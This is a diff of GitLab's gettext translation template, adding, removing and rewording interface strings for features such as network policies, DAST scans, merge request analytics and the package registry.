+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13346,9 +13722,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13547,6 +13926,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,7 +14217,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14065,7 +14447,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,10 +14546,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14194,6 +14576,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14257,9 +14642,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14275,9 +14657,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14331,6 +14710,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14403,7 +14788,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14454,6 +14839,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14553,9 +14947,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14667,9 +15058,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14844,15 +15238,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14931,6 +15328,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15224,9 +15657,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15278,6 +15711,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15577,6 +16022,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15622,6 +16076,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15811,12 +16268,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16296,12 +16849,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16548,9 +17101,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
+msgstr ""
+
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16757,6 +17313,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16940,9 +17499,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17027,6 +17583,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17042,6 +17604,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17060,9 +17625,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17099,27 +17661,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17168,13 +17721,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17318,7 +17877,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17822,6 +18381,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,13 +18537,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17993,6 +18555,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18683,6 +19242,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18707,6 +19269,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19307,10 +19872,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19370,6 +19944,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19835,9 +20418,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20067,6 +20653,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20136,9 +20725,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20172,9 +20758,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20187,12 +20770,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20241,15 +20818,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20804,6 +21378,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20942,6 +21522,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20972,6 +21555,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21020,6 +21606,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21062,6 +21651,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21286,13 +21881,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
